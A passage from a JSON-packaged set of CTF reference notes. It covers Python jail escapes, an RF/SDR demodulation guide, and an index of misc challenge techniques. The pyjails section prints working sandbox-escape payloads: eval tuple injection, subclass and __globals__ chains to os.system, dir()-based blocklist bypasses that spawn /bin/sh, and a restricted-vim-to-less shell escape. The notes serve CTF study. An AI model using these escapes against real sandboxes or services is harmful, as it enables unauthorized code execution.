can be written as a sum of repunits (numbers like 1, 11, 111, ...). The greedy algorithm produces ~O(log²(n)) terms. This converts a 2-character constraint into arbitrary code execution via `long_to_bytes()`. On the second unrestricted prompt, run `open('/flag.txt').read()`.\n\n**Detection:** Challenge restricts input character set to exactly 2 characters. Double-eval pattern (`eval(decode(eval(...)))`).\n\n---\n\n## Python eval() Jail Escape via Tuple Injection (Codegate 2018)\n\nWhen the server does `eval(\"your.\" + input + \"()\")`, inject a tuple to execute arbitrary code:\n\n```python\n# Server code: eval(\"your.\" + user_input + \"()\")\n# Inject: dig(),eval(eval('raw\\x5finput()')),\n# Becomes: eval(\"your.dig(),eval(eval('raw\\x5finput()')),()\") \n# = tuple of (your.dig(), eval(arbitrary), None)\n\n# Alternative: inject payload via Name variable during registration\n# Name = \"__import__('os').system('/bin/sh')\"\n# Input: dig(),eval(name),exit\n# eval(\"your.dig(),eval(name),exit()\") -> executes payload from name\n```\n\n**Key insight:** Python `eval()` on a comma-separated expression creates a tuple, allowing multiple expressions to execute. `\\x5f` hex escapes bypass underscore blacklists. When direct code injection is blocked, store payload in a variable (registration name, environment) and reference it via `eval(varname)` in the eval context. The general pattern: if the server wraps your input in `eval(\"prefix\" + input + \"suffix\")`, use commas to break out of the intended expression and inject additional expressions as tuple elements.\n\n---\n\n## Python f-string Config Injection via Stored eval (INShAck 2018)\n\n**Pattern:** A config creator uses Python f-strings to render values. Store a payload as one config value, then reference it from another using eval(). Register key \"a\" with value `__import__(\"os\").system(\"cat flag\")`, then key \"eval(a)\" with value \"{}\".\n\n```python\n# Step 1: Store payload as config value\nregister_key(\"a\", '__import__(\"os\").system(\"cat flag.txt\")')\n\n# Step 2: Create key whose name is eval(a) with empty format placeholder\nregister_key(\"eval(a)\", \"{}\")\n\n# Step 3: When config renders f\"eval(a) = {value}\",\n# the f-string evaluates eval(a) in the key position,\n# executing the stored payload\nshow_config() # triggers f-string rendering -> RCE\n```\n\n**Key insight:** Python f-strings evaluate expressions in curly braces at render time. If config keys or values are rendered in f-strings, storing `eval(stored_key)` as a key name causes arbitrary code execution when the config is displayed. Two-step: store payload as value, reference via eval in key name.\n\n---\n\n## Hints Cheat Sheet\n\n| Hint | Meaning |\n|------|---------|\n| \"I love chars\" | Single-char functions |\n| \"No words\" | Multi-char blocked |\n| \"Oracle\" | Query functions to leak |\n| \"knight/chess\" | Mastermind game |\n\n---\n\n## func_globals to Module Chain Traversal (PlaidCTF 2013)\n\n**Pattern:** Access `os.system` through the `func_globals` dictionary of a loaded class's method, without importing any modules.\n\n```python\n# Step 1: Find catch_warnings in subclass list (commonly index 49 or 59)\n[x for x in ().__class__.__base__.__subclasses__()\n if x.__name__ == \"catch_warnings\"][0]\n\n# Step 2: Access func_globals via __init__ or __repr__\ng = ().__class__.__base__.__subclasses__()[59].__init__.func_globals\n# Python 2: .__init__.im_func.func_globals\n# Python 3: .__init__.__globals__\n\n# Step 3: Traverse module chain: warnings → linecache → os\ng[\"linecache\"].__dict__[\"os\"].system(\"cat /flag.txt\")\n\n# One-liner:\n().__class__.__base__.__subclasses__()[59].__init__.__globals__[\"linecache\"].__dict__[\"os\"].system(\"id\")\n```\n\n**Key insight:** The `warnings.catch_warnings` class is almost always loaded. Its `__init__.__globals__` contains a reference to `linecache`, which imports `os`. This chain avoids direct `import` statements. The subclass index varies by Python version — enumerate with `[(i,x.__name__) for i,x in enumerate(''.__class__.__mro__[1].__subclasses__())]`.\n\n---\n\n## Restricted Charset Number Generation (PlaidCTF 2013)\n\n**Pattern:** Generate arbitrary integers using only `~` (bitwise NOT), `\u003c\u003c` (left shift), `[]\u003c[]` (False=0), and `{}\u003c[]` (True=1) when numeric literals are forbidden.\n\n```python\ndef brainfuckize(nb):\n \"\"\"Convert integer to expression using only ~, \u003c\u003c, \u003c, [], {}\"\"\"\n if nb == -2: return \"~({}\u003c[])\" # ~True = -2\n if nb == -1: return \"~([]\u003c[])\" # ~False = -1\n if nb == 0: return \"([]\u003c[])\" # False = 0\n if nb == 1: return \"({}\u003c[])\" # True = 1\n if nb % 2: return f\"~{brainfuckize(~nb)}\" # Odd: ~(complement)\n return f\"({brainfuckize(nb//2)}\u003c\u003c({{}}\u003c[]))\" # Even: half \u003c\u003c 1\n\n# brainfuckize(65) → \"(~(~([]\u003c[]))\u003c\u003c({}\u003c[]))\u003c\u003c({}\u003c[]))\u003c\u003c({}\u003c[]))\u003c\u003c({}\u003c[]))\u003c\u003c({}\u003c[]))\u003c\u003c({}\u003c[]))\"\n# Then use: \"%c\" % 65 → \"A\"\n```\n\n**Key insight:** Combine with `\"%c\" % ascii_value` to build arbitrary strings character by character. This bypasses jails that strip all alphanumeric characters while allowing operators and brackets.\n\n---\n\n## Python Name Mangling and Attribute Access (Tokyo Westerns 2017)\n\nThree sandbox escape vectors that exploit Python's name visibility model.\n\n**1. Name mangling bypass:** Python \"private\" `__method` names in a class are stored as `_ClassName__method`. They are accessible via `dir()` and `getattr()` — not truly private.\n\n```python\n# Name mangling bypass\ngetattr(obj, dir(obj)[0])() # calls _ClassName__method\n```\n\n**2. Function constant leakage:** All string literals inside a function body are stored in `func_code.co_consts` (Python 2) or `__code__.co_consts` (Python 3) and are readable from outside.\n\n```python\n# func_code local variable leak (Python 2)\nfunc.func_code.co_consts # reveals all string literals in function\n\n# Python 3 equivalent\nfunc.__code__.co_consts\n```\n\n**3. Module docstring as data store:** Module-level triple-quoted strings become `module.__doc__`, readable without needing file access.\n\n```python\n# Module docstring access\nimport target_module\ntarget_module.__doc__ # reads module-level triple-quoted string\n```\n\n**Key insight:** Python `__` prefix is name-mangled, not truly private — `dir(obj)` + `getattr()` bypass it. `func_code.co_consts` exposes all literal constants defined inside a function. Module docstrings are always readable as `__doc__` without file access.\n\n---\n\n## Multi-Stage Payload with Class Attribute Persistence (PlaidCTF 2013)\n\n**Pattern:** Store intermediate code fragments across multiple jail submissions by writing to class attributes of subclasses.\n\n```python\n# Stage 1: Store code fragment on a subclass\n().__class__.__base__.__subclasses__()[-2].payload = \"import os; os.system('cat /flag.txt')\"\n\n# Stage 2 (next submission): Retrieve and execute\nexec(().__class__.__base__.__subclasses__()[-2].payload)\n```\n\n**Key insight:** Class attributes persist across separate `eval()`/`exec()` calls within the same process. If the jail limits input length but allows multiple submissions, split the payload across submissions using subclass attributes as storage. Use `IncrementalDecoder` or any persistent subclass as the storage target.\n\n---\n\n## Restricted vim Escape via K (man) to :!sh (TokyoWesterns CTF 4th 2018)\n\n**Pattern (shrine):** Sandbox launches a locked-down `vim` with `:shell`/`:!` mapped out and a secure-mode profile. Command-mode escapes are blocked, but normal-mode `K` (look up keyword under cursor via `keywordprg`, default `man`) still works. `man` internally paginates via `less`, and `less` itself has a documented shell-escape: typing `!sh` from the pager spawns a shell with the user's real privileges.\n\n**Exploit steps:**\n1. Open any file in the restricted vim (or create one inline with `vim -c 'new' -c 'put! =\\\"ls\\\"'`).\n2. In normal mode, place the cursor on any identifier and press `K`. vim runs `man \u003cword>`.\n3. `man` pipes output to `less`. Inside `less`, press `!sh` and hit Enter — the pager fork/execs a real shell.\n4. Alternatively, once inside `less` type `v` to launch `$EDITOR`; if `EDITOR=vim` is unset the default editor still allows shell escape via `:!`.\n\n```text\nvim file.txt # restricted vim opens\n(cursor on \"ls\")\nK # runs `man ls` → pager `less`\n!sh # less shell-escape → real shell\n```\n\n**Hardening signals to check first:** `keywordprg` value (`:set keywordprg?`), `secure` mode, whether `shell` option has been cleared, and the `LESSSECURE=1` environment variable. `LESSSECURE=1` specifically disables `!`, `|`, `v`, and `s` inside `less` — its absence is a green light for this escape.\n\n**Key insight:** Restricted editors almost always leak via chained pagers and keyword lookups. Catalog every command that spawns a child process (`K`/`keywordprg`, `:grep`, `:make`, `gx` for URL open, `:Man`) before touching `:!`. If even one child process uses `less` or another escape-friendly pager without `LESSSECURE=1`, you have a shell.\n\n**References:** TokyoWesterns CTF 4th 2018 — writeup 10859; GTFOBins `vim`/`less`/`man` entries\n\n---\n\n## dir() Attribute Lookup Escape Bypassing __class__ Blocklist (InCTF 2018)\n\n**Pattern:** A sandbox substring-filters literal strings `__class__`, `__bases__`, `__subclasses__`, `eval`, and `import`, but `dir(obj)` is allowed and returns the attribute names as strings. Use `dir([])` to look up forbidden attribute names by index, then chain `getattr` calls to reach `object.__subclasses__()` without ever typing the blocked literals.\n\n```python\n# Blacklist: \"__class__\", \"__subclasses__\", \"eval\", \"import\", \"exec\"\n# Allowed: dir(), getattr(), list literals, integer literals\n\n# Step 1: find the index of \"__class__\" in dir([])\n# dir([]) == ['__add__', '__class__', '__contains__', ...]\ni_class = 1\nbase_attr = 34 # index of \"__subclasses__\" in dir(getattr([], dir([])[1]))\n\n# Step 2: chain getattr with indexed dir() lookups\ncls = getattr([], dir([])[i_class]) # list.__class__\nbase = getattr(cls, dir(cls)[dir(cls).index(\"__base__\")]) # object\nsubs = getattr(base, dir(base)[base_attr])() # list of all classes\n\n# Step 3: find a useful class — often subprocess.Popen\nfor klass in subs:\n if \"Popen\" in getattr(klass, dir(klass)[dir(klass).index(\"__name__\")]):\n break\nklass([\"/bin/sh\", \"-c\", \"cat flag\"])\n```\n\n**Key insight:** `dir()` is a *data* function: it returns plain strings. A substring blocklist scanning the source never sees the blocked words because they are generated at runtime from attribute table bytes. Any Python jail that filters source text without AST walking is defeated by one layer of indirection — `dir`, `globals().get(key)`, or `vars(obj)[key]`. When auditing a jail, always ask: \"does the filter see the literal or the *value*?\". If it only sees the literal, `dir()` indexing is the shortest escape.\n\n**References:** InCTF 2018 — The Most Secure File Uploader, writeup 11528\n","content_type":"text/markdown; charset=utf-8","language":"markdown","size":24827,"content_sha256":"77e7cbb9d415584075ff5aa4a37381921c9c0fb82fc592f168ebe9921f7917ed"},{"filename":"rf-sdr.md","content":"# CTF Misc - RF / SDR / IQ Signal Processing\n\nTechniques for Software-Defined Radio (SDR) signal processing using In-phase/Quadrature (IQ) data.\n\n## IQ File Formats\n- **cf32** (complex float 32): GNU Radio standard, `np.fromfile(path, dtype=np.complex64)`\n- **cs16** (complex signed 16-bit): `np.fromfile(path, dtype=np.int16).reshape(-1,2)`, then `I + jQ`\n- **cu8** (complex unsigned 8-bit): RTL-SDR raw format\n\n## Analysis Pipeline\n```python\nimport numpy as np\nfrom scipy import signal\n\n# 1. Load IQ data\niq = np.fromfile('signal.cf32', dtype=np.complex64)\n\n# 2. Spectrum analysis - find occupied bands\nfft_data = np.fft.fftshift(np.fft.fft(iq[:4096]))\nfreqs = np.fft.fftshift(np.fft.fftfreq(4096))\npower_db = 20*np.log10(np.abs(fft_data)+1e-10)\n\n# 3. Identify symbol rate via cyclostationary analysis\nx2 = np.abs(iq_filtered)**2 # squared magnitude\nfft_x2 = np.abs(np.fft.fft(x2, n=65536))\n# Peak in fft_x2 = symbol rate (samples_per_symbol = 1/peak_freq)\n\n# 4. Frequency shift to baseband\ncenter_freq = 0.14 # normalized frequency of band center\nt = np.arange(len(iq))\nbaseband = iq * np.exp(-2j * np.pi * center_freq * t)\n\n# 5. Low-pass filter to isolate band\nlpf = signal.firwin(101, bandwidth/2, fs=1.0)\nfiltered = signal.lfilter(lpf, 1.0, baseband)\n```\n\n## QAM-16 Demodulation with Carrier + Timing Recovery\nQAM-16 (Quadrature Amplitude Modulation) — the key challenge is carrier frequency offset causing constellation rotation (circles instead of points).\n\n**Decision-directed carrier recovery + Mueller-Muller timing:**\n```python\n# Loop parameters (2nd order PLL)\ncarrier_bw = 0.02 # wider BW = faster tracking, more noise\ndamping = 1.0\ntheta_n = carrier_bw / (damping + 1/(4*damping))\nKp = 2 * damping * theta_n # proportional gain\nKi = theta_n ** 2 # integral gain\n\ncarrier_phase = 0.0\ncarrier_freq = 0.0\n\nfor each symbol sample:\n # De-rotate by current phase estimate\n symbol = raw_sample * np.exp(-1j * carrier_phase)\n\n # Find nearest constellation point (decision)\n nearest = min(constellation, key=lambda p: abs(symbol - p))\n\n # Phase error (decision-directed)\n error = np.imag(symbol * np.conj(nearest)) / (abs(nearest)**2 + 0.1)\n\n # Update 2nd order loop\n carrier_freq += Ki * error\n carrier_phase += Kp * error + carrier_freq\n```\n\n**Mueller-Muller timing error detector:**\n```python\ntiming_error = (Re(y[n]-y[n-1]) * Re(d[n-1]) - Re(d[n]-d[n-1]) * Re(y[n-1]))\n + (Im(y[n]-y[n-1]) * Im(d[n-1]) - Im(d[n]-d[n-1]) * Im(y[n-1]))\n# y = received symbol, d = decision (nearest constellation point)\n```\n\n## Key Insights for RF CTF Challenges\n- **Circles in constellation** = constant frequency offset (points rotate at fixed rate, forming a ring)\n- **Spirals** = frequency offset that drifts over time (ring radius changes as amplitude/AGC also drifts). If you see points tracing outward arcs rather than closed circles, suspect combined frequency + gain instability\n- **Blobs on grid** = correct sync, just noise\n- **4-fold ambiguity**: DD carrier recovery can lock with 0/90/180/270 rotation - try all 4\n- **Bandwidth vs symbol rate**: BW = Rs x (1 + alpha), where alpha is roll-off factor (0 to 1)\n- **RC vs RRC**: \"RC pulse shaping\" at TX means receiver just samples (no matched filter needed); \"RRC\" means apply matched RRC filter at RX\n- **Cyclostationary peak at Rs** confirms symbol rate even without knowing modulation order\n- **AGC**: normalize signal power to match constellation power: `scale = sqrt(target_power / measured_power)`\n- **GNU Radio's QAM-16 default mapping** is NOT Gray code - always check the provided constellation map\n\n## Common Framing Patterns\n- Idle/sync pattern repeating while link is idle\n- Start delimiter (often a single symbol like 0)\n- Data payload (nibble pairs for QAM-16: high nibble first, low nibble)\n- End delimiter (same as start, e.g., 0)\n- The idle pattern itself may contain the delimiter value - distinguish by context (is it part of the 16-symbol repeating pattern?)\n","content_type":"text/markdown; charset=utf-8","language":"markdown","size":3994,"content_sha256":"ea61aa6d6eeba16923b6482df80c43ace8352179854ce4292b9246853af5bc04"}],"content_json":{"type":"doc","content":[{"type":"heading","attrs":{"level":1},"content":[{"text":"CTF Miscellaneous","type":"text"}]},{"type":"paragraph","content":[{"text":"Quick reference for miscellaneous CTF challenges. Each technique has a one-liner here; see supporting files for full details.","type":"text"}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Prerequisites","type":"text"}]},{"type":"paragraph","content":[{"text":"Python packages (all platforms):","type":"text","marks":[{"type":"strong"}]}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"pip install z3-solver pwntools Pillow numpy requests dnslib","type":"text"}]},{"type":"paragraph","content":[{"text":"Linux (apt):","type":"text","marks":[{"type":"strong"}]}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"apt install ffmpeg qrencode","type":"text"}]},{"type":"paragraph","content":[{"text":"macOS (Homebrew):","type":"text","marks":[{"type":"strong"}]}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"brew install ffmpeg qrencode","type":"text"}]},{"type":"paragraph","content":[{"text":"Manual install:","type":"text","marks":[{"type":"strong"}]}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"SageMath — Linux: ","type":"text"},{"text":"apt install sagemath","type":"text","marks":[{"type":"code_inline"}]},{"text":", macOS: ","type":"text"},{"text":"brew install --cask sage","type":"text","marks":[{"type":"code_inline"}]}]}]}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Additional Resources","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"pyjails.md","type":"text","marks":[{"type":"link","attrs":{"href":"pyjails.md","title":null}}]},{"text":" - Python jail/sandbox escape techniques, quine context detection, restricted character repunit decomposition, func_globals module chain traversal, restricted charset number generation, class attribute persistence, f-string config injection via stored eval","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"bashjails.md","type":"text","marks":[{"type":"link","attrs":{"href":"bashjails.md","title":null}}]},{"text":" - Bash jail/restricted shell escape techniques, HISTFILE file read trick, bash -v verbose mode, ctypes.sh direct C library calls","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"encodings.md","type":"text","marks":[{"type":"link","attrs":{"href":"encodings.md","title":null}}]},{"text":" - Encodings, QR codes, esolangs, UTF-16 tricks, BCD encoding, multi-layer auto-decoding, indexed directory QR reassembly, multi-stage URL encoding chains","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"encodings-advanced.md","type":"text","marks":[{"type":"link","attrs":{"href":"encodings-advanced.md","title":null}}]},{"text":" - Verilog/HDL, Gray code cyclic encoding, RTF custom tag extraction, SMS PDU decoding, multi-encoding sequential solvers, UTF-9, pixel binary encoding, hexadecimal Sudoku + QR assembly, TOPKEK, MaxiCode","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"rf-sdr.md","type":"text","marks":[{"type":"link","attrs":{"href":"rf-sdr.md","title":null}}]},{"text":" - RF/SDR/IQ signal processing (QAM-16, carrier recovery, timing sync)","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"dns.md","type":"text","marks":[{"type":"link","attrs":{"href":"dns.md","title":null}}]},{"text":" - DNS exploitation (ECS spoofing, NSEC walking, IXFR, rebinding, tunneling)","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"games-and-vms.md","type":"text","marks":[{"type":"link","attrs":{"href":"games-and-vms.md","title":null}}]},{"text":" - WASM patching, Roblox place file reversing, PyInstaller, marshal analysis, Python env RCE, Z3 (including boolean logic gate network SAT solving), K8s RBAC, floating-point precision exploitation, custom assembly language sandbox escape via Python MRO chain","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"games-and-vms-2.md","type":"text","marks":[{"type":"link","attrs":{"href":"games-and-vms-2.md","title":null}}]},{"text":" - Cookie checkpoint game brute-forcing, Flask cookie game state leakage, WebSocket game manipulation, server time-only validation bypass, De Bruijn sequence, Brainfuck instrumentation, WASM linear memory manipulation","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"games-and-vms-3.md","type":"text","marks":[{"type":"link","attrs":{"href":"games-and-vms-3.md","title":null}}]},{"text":" - memfd_create packed binaries, multi-phase crypto games with HMAC commitment-reveal and GF(256) Nim, emulator ROM-switching state preservation, Python marshal code injection, Benford's Law bypass, parallel connection oracle relay, nonogram solver pipelines, 100 prisoners problem, C code jail escape via emoji identifiers, BuildKit daemon build secret exploitation, Docker container escape, Levenshtein distance oracle attack, taint analysis bypass via type coercion, shredded document pixel-edge reassembly","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"games-and-vms-4.md","type":"text","marks":[{"type":"link","attrs":{"href":"games-and-vms-4.md","title":null}}]},{"text":" - Part 4 (2018-era): XSLT as Turing-complete VM, JavaScript MAX_SAFE_INTEGER successor equality, binary search oracle in comparison-only DSL, blind SQLi via script-engine timeout error, OEIS sequence lookup automation, QR code reassembly from format-string constraints, matrix exponentiation for Fibonacci recurrence, Tribonacci for frog-jump counting, Selenium + Tesseract dynamic CAPTCHA, Brainfuck→Piet multi-layer polyglot, bytebeat synth code recognition","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"linux-privesc.md","type":"text","marks":[{"type":"link","attrs":{"href":"linux-privesc.md","title":null}}]},{"text":" - Sudo wildcard parameter injection (fnmatch), crafted pcap for sudoers.d, monit confcheck process injection, Apache -d override, backup cronjob SUID, PostgreSQL COPY TO PROGRAM RCE, PostgreSQL backup credential extraction, NFS share exploitation, SSH Unix socket tunneling, PaperCut Print Deploy privesc, Squid proxy pivoting, Zabbix admin password reset via MySQL, WinSSHTerm credential decryption","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"ctfd-navigation.md","type":"text","marks":[{"type":"link","attrs":{"href":"ctfd-navigation.md","title":null}}]},{"text":" - CTFd platform API navigation without browser: detection, token auth, challenge listing, file download, flag submission, scoreboard, hints, notifications, Python client class","type":"text"}]}]}]},{"type":"hr","attrs":{"markup":"---"}},{"type":"heading","attrs":{"level":2},"content":[{"text":"When to Pivot","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"If the puzzle is actually centered on cryptography or number theory, switch to ","type":"text"},{"text":"/ctf-crypto","type":"text","marks":[{"type":"code_inline"}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"If the challenge is a real binary exploit instead of a jail, toy VM, or encoding problem, switch to ","type":"text"},{"text":"/ctf-pwn","type":"text","marks":[{"type":"code_inline"}]},{"text":" or ","type":"text"},{"text":"/ctf-reverse","type":"text","marks":[{"type":"code_inline"}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"If the input is mostly files, images, audio, or packet captures that need recovery work first, switch to ","type":"text"},{"text":"/ctf-forensics","type":"text","marks":[{"type":"code_inline"}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"For ML/AI techniques (model attacks, adversarial examples, LLM jailbreaking), see ","type":"text"},{"text":"/ctf-ai-ml","type":"text","marks":[{"type":"code_inline"}]},{"text":".","type":"text"}]}]}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Quick Start Commands","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"# File identification\nfile mystery_file\nxxd mystery_file | head -5\npython3 -c \"import magic; print(magic.from_file('mystery_file'))\"\n\n# Encoding detection\npython3 -c \"import base64; print(base64.b64decode('\u003cdata>'))\"\necho '\u003cdata>' | base64 -d\necho '\u003chex>' | xxd -r -p\n\n# QR code\nzbarimg qr.png\npython3 -c \"from pyzbar.pyzbar import decode; from PIL import Image; print(decode(Image.open('qr.png')))\"\n\n# Z3 constraint solving\npython3 -c \"from z3 import *; x=BitVec('x',32); s=Solver(); s.add(x^0xdead==0xbeef); s.check(); print(s.model())\"\n\n# Python jail test\npython3 -c \"__import__('os').system('id')\"","type":"text"}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"General Tips","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Read all provided files carefully","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Check file metadata, hidden content, encoding","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Power Automate scripts may hide API calls","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Use binary search when guessing multiple answers","type":"text"}]}]}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Common Encodings","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"# Base64\necho \"encoded\" | base64 -d\n\n# Base32 (A-Z2-7=)\necho \"OBUWG32D...\" | base32 -d\n\n# Hex\necho \"68656c6c6f\" | xxd -r -p\n\n# ROT13\necho \"uryyb\" | tr 'a-zA-Z' 'n-za-mN-ZA-M'","type":"text"}]},{"type":"paragraph","content":[{"text":"Identify by charset:","type":"text","marks":[{"type":"strong"}]}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Base64: ","type":"text"},{"text":"A-Za-z0-9+/=","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Base32: ","type":"text"},{"text":"A-Z2-7=","type":"text","marks":[{"type":"code_inline"}]},{"text":" (no lowercase)","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Hex: ","type":"text"},{"text":"0-9a-fA-F","type":"text","marks":[{"type":"code_inline"}]}]}]}]},{"type":"paragraph","content":[{"text":"See ","type":"text"},{"text":"encodings.md","type":"text","marks":[{"type":"link","attrs":{"href":"encodings.md","title":null}}]},{"text":" for Caesar brute force, URL encoding, and full details.","type":"text"}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"IEEE-754 Float Encoding (Data Hiding)","type":"text"}]},{"type":"paragraph","content":[{"text":"Pattern (Floating):","type":"text","marks":[{"type":"strong"}]},{"text":" Numbers are float32 values hiding raw bytes.","type":"text"}]},{"type":"paragraph","content":[{"text":"Key insight:","type":"text","marks":[{"type":"strong"}]},{"text":" A 32-bit float is just 4 bytes interpreted as a number. Reinterpret as raw bytes -> ASCII.","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"python"},"content":[{"text":"import struct\nfloats = [1.234e5, -3.456e-7, ...] # Whatever the challenge gives\nflag = b''\nfor f in floats:\n flag += struct.pack('>f', f)\nprint(flag.decode())","type":"text"}]},{"type":"paragraph","content":[{"text":"Variations:","type":"text","marks":[{"type":"strong"}]},{"text":" Double ","type":"text"},{"text":"'>d'","type":"text","marks":[{"type":"code_inline"}]},{"text":", little-endian ","type":"text"},{"text":"'\u003cf'","type":"text","marks":[{"type":"code_inline"}]},{"text":", mixed. See ","type":"text"},{"text":"encodings.md","type":"text","marks":[{"type":"link","attrs":{"href":"encodings.md","title":null}}]},{"text":" for CyberChef recipe.","type":"text"}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"USB Mouse PCAP Reconstruction","type":"text"}]},{"type":"paragraph","content":[{"text":"Pattern (Hunt and Peck):","type":"text","marks":[{"type":"strong"}]},{"text":" USB HID mouse traffic captures on-screen keyboard typing. Use USB-Mouse-Pcap-Visualizer, extract click coordinates (falling edges), cumsum relative deltas for absolute positions, overlay on OSK image.","type":"text"}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"File Type Detection","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"file unknown_file\nxxd unknown_file | head\nbinwalk unknown_file","type":"text"}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Archive Extraction","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"7z x archive.7z # Universal\ntar -xzf archive.tar.gz # Gzip\ntar -xjf archive.tar.bz2 # Bzip2\ntar -xJf archive.tar.xz # XZ","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Nested Archive Script","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"while f=$(ls *.tar* *.gz *.bz2 *.xz *.zip *.7z 2>/dev/null|head -1) && [ -n \"$f\" ]; do\n 7z x -y \"$f\" && rm \"$f\"\ndone","type":"text"}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"QR Codes","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"zbarimg qrcode.png # Decode\nqrencode -o out.png \"data\"","type":"text"}]},{"type":"paragraph","content":[{"text":"MaxiCode barcode:","type":"text","marks":[{"type":"strong"}]},{"text":" Hexagonal 2D barcode with bullseye center; decode with ","type":"text"},{"text":"zxing","type":"text","marks":[{"type":"code_inline"}]},{"text":" (Java) since standard QR decoders fail. See ","type":"text"},{"text":"encodings-advanced.md","type":"text","marks":[{"type":"link","attrs":{"href":"encodings-advanced.md#maxicode-2d-barcode-decoding-csaw-ctf-2016","title":null}}]},{"text":".","type":"text"}]},{"type":"paragraph","content":[{"text":"TOPKEK encoding:","type":"text","marks":[{"type":"strong"}]},{"text":" CTF-specific binary encoding where ","type":"text"},{"text":"KEK=0","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":"TOP=1","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":"!","type":"text","marks":[{"type":"code_inline"}]},{"text":" suffix = repeat count. See ","type":"text"},{"text":"encodings-advanced.md","type":"text","marks":[{"type":"link","attrs":{"href":"encodings-advanced.md#topkek-binary-encoding-hack-the-vote-2016","title":null}}]},{"text":".","type":"text"}]},{"type":"paragraph","content":[{"text":"See ","type":"text"},{"text":"encodings.md","type":"text","marks":[{"type":"link","attrs":{"href":"encodings.md","title":null}}]},{"text":" for QR structure, repair techniques, chunk reassembly (structural and indexed-directory variants), and multi-stage URL encoding chains.","type":"text"}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Audio Challenges","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"sox audio.wav -n spectrogram # Visual data\nqsstv # SSTV decoder","type":"text"}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"RF / SDR / IQ Signal Processing","type":"text"}]},{"type":"paragraph","content":[{"text":"See ","type":"text"},{"text":"rf-sdr.md","type":"text","marks":[{"type":"link","attrs":{"href":"rf-sdr.md","title":null}}]},{"text":" for full details (IQ formats, QAM-16 demod, carrier/timing recovery).","type":"text"}]},{"type":"paragraph","content":[{"text":"Quick reference:","type":"text","marks":[{"type":"strong"}]}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"cf32","type":"text","marks":[{"type":"strong"}]},{"text":": ","type":"text"},{"text":"np.fromfile(path, dtype=np.complex64)","type":"text","marks":[{"type":"code_inline"}]},{"text":" | ","type":"text"},{"text":"cs16","type":"text","marks":[{"type":"strong"}]},{"text":": int16 reshape(-1,2) | ","type":"text"},{"text":"cu8","type":"text","marks":[{"type":"strong"}]},{"text":": RTL-SDR raw","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Circles in constellation = constant frequency offset; Spirals = drifting frequency + gain instability","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"4-fold ambiguity in DD carrier recovery - try 0/90/180/270 rotation","type":"text"}]}]}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"pwntools Interaction","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"python"},"content":[{"text":"from pwn import *\n\nr = remote('host', port)\nr.recvuntil(b'prompt: 